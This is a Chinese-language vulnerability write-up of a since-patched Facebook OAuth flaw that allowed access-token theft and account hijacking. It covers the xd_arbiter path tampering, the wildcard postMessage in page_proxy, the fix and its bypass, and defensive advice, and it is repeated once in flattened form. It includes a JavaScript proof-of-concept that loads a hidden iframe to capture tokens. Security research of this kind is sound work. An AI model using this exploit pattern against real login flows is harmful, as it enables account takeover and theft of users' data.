挖洞经验 | Facebook OAuth漏洞导致的Facebook账户劫持
字数 1433 2025-08-15 21:30:43

Facebook OAuth漏洞导致的账户劫持分析报告

漏洞概述

本报告详细分析了一个存在于Facebook OAuth实现中的高危漏洞,该漏洞允许攻击者窃取用户access token并劫持Facebook账户。漏洞存在于Facebook的"Login with Facebook"功能中,涉及OAuth 2.0协议实现缺陷,导致攻击者可以绕过多种安全措施获取用户令牌。

技术背景

OAuth 2.0协议

Facebook使用OAuth 2.0协议处理facebook.com与第三方网站之间的用户token验证。正确验证用户token后,用户才能从第三方网站跳转到facebook.com。

关键组件

  1. /connect/ping服务端:负责生成user_access令牌并跳转到白名单集"XD_Arbiter"
  2. XD_Arbiter:Facebook应用通用的白名单集
  3. page_proxy:跨域通信的代理框架(已删除)

漏洞细节

初始发现

  1. 可以修改"xd_arbiter.php?v=42"为"xd_arbiter/?v=42"
  2. 可通过添加目录或参数实现目录遍历

关键利用点

在Facebook的"page_proxy"中发现可利用代码:

var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");

这段代码位于"EventListener"属性下,当请求条件判断失效时,会以postMessage()方式向任意域发送"frameName"消息。

漏洞利用流程

  1. 构造恶意SDK
var app_id = '124024574287414', app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);
  1. 部署恶意网站:将上述JS脚本部署在攻击者控制的网站

  2. 窃取token:当受害者访问恶意网站并使用Facebook登录时,攻击者可窃取其access_token

漏洞影响

  1. 账户劫持:攻击者可完全控制受害者Facebook账户
  2. 数据访问:可读写消息、照片、视频和隐私设置
  3. 广泛影响:影响大多数使用Facebook登录的APP(Instagram, Oculus, Netflix等)

修复措施

初始修复

  1. 废弃"/connect/ping"服务端
  2. 在XD_Arbiter文件中添加__d("JSSDKConfig")代码

绕过分析

修复后仍存在以下问题:

  1. __d("JSSDKConfig")被移到底部
  2. postMessage()调用仍可执行
  3. Firefox浏览器不受防护措施影响
  4. mbasic.facbook.com下的HTTP 302跳转对所有浏览器有效

最终修复

  1. 禁止对xd_arbiter的任意修改,只接受"xd_arbiter.php"路径
  2. 禁用所有xd_arbiter上的HTTP跳转
  3. 删除page_proxy资源"7SWBAvHenEn.js"
  4. 在JS脚本资源中增加正则过滤验证

时间线

  • 2019.12.23:初始漏洞修复
  • 2020.1.3:发现修复措施可被绕过
  • 后续:实施最终修复措施

防御建议

  1. 开发者

    • 严格验证重定向URL
    • 实现完整的同源策略检查
    • 避免使用全局postMessage通信
  2. 用户

    • 谨慎使用"使用Facebook登录"功能
    • 避免点击不明链接
    • 定期检查账户安全设置
  3. 企业

    • 实施严格的OAuth实现审查
    • 定期进行安全审计
    • 建立漏洞奖励计划

总结

该漏洞展示了OAuth实现中细微的设计缺陷可能导致严重的安全后果。通过精心构造的利用链,攻击者可绕过多层防护措施窃取用户令牌。此案例强调了安全防御需要全面考虑所有可能的攻击面,包括看似无害的重定向和跨域通信机制。

Facebook OAuth漏洞导致的账户劫持分析报告 漏洞概述 本报告详细分析了一个存在于Facebook OAuth实现中的高危漏洞,该漏洞允许攻击者窃取用户access token并劫持Facebook账户。漏洞存在于Facebook的"Login with Facebook"功能中,涉及OAuth 2.0协议实现缺陷,导致攻击者可以绕过多种安全措施获取用户令牌。 技术背景 OAuth 2.0协议 Facebook使用OAuth 2.0协议处理facebook.com与第三方网站之间的用户token验证。正确验证用户token后,用户才能从第三方网站跳转到facebook.com。 关键组件 /connect/ping服务端 :负责生成user_ access令牌并跳转到白名单集"XD_ Arbiter" XD_ Arbiter :Facebook应用通用的白名单集 page_ proxy :跨域通信的代理框架(已删除) 漏洞细节 初始发现 可以修改"xd_ arbiter.php?v=42"为"xd_ arbiter/?v=42" 可通过添加目录或参数实现目录遍历 关键利用点 在Facebook的"page_ proxy"中发现可利用代码: 这段代码位于"EventListener"属性下,当请求条件判断失效时,会以postMessage()方式向任意域发送"frameName"消息。 漏洞利用流程 构造恶意SDK : 部署恶意网站 :将上述JS脚本部署在攻击者控制的网站 窃取token :当受害者访问恶意网站并使用Facebook登录时,攻击者可窃取其access_ token 漏洞影响 账户劫持 :攻击者可完全控制受害者Facebook账户 数据访问 :可读写消息、照片、视频和隐私设置 广泛影响 :影响大多数使用Facebook登录的APP(Instagram, Oculus, Netflix等) 修复措施 初始修复 废弃"/connect/ping"服务端 在XD_ Arbiter文件中添加 __d("JSSDKConfig") 代码 绕过分析 修复后仍存在以下问题: __d("JSSDKConfig") 被移到底部 postMessage()调用仍可执行 Firefox浏览器不受防护措施影响 mbasic.facbook.com下的HTTP 302跳转对所有浏览器有效 最终修复 禁止对xd_ arbiter的任意修改,只接受"xd_ arbiter.php"路径 禁用所有xd_ arbiter上的HTTP跳转 删除page_ proxy资源"7SWBAvHenEn.js" 在JS脚本资源中增加正则过滤验证 时间线 2019.12.23:初始漏洞修复 2020.1.3:发现修复措施可被绕过 后续:实施最终修复措施 防御建议 开发者 : 严格验证重定向URL 实现完整的同源策略检查 避免使用全局postMessage通信 用户 : 谨慎使用"使用Facebook登录"功能 避免点击不明链接 定期检查账户安全设置 企业 : 实施严格的OAuth实现审查 定期进行安全审计 建立漏洞奖励计划 总结 该漏洞展示了OAuth实现中细微的设计缺陷可能导致严重的安全后果。通过精心构造的利用链,攻击者可绕过多层防护措施窃取用户令牌。此案例强调了安全防御需要全面考虑所有可能的攻击面,包括看似无害的重定向和跨域通信机制。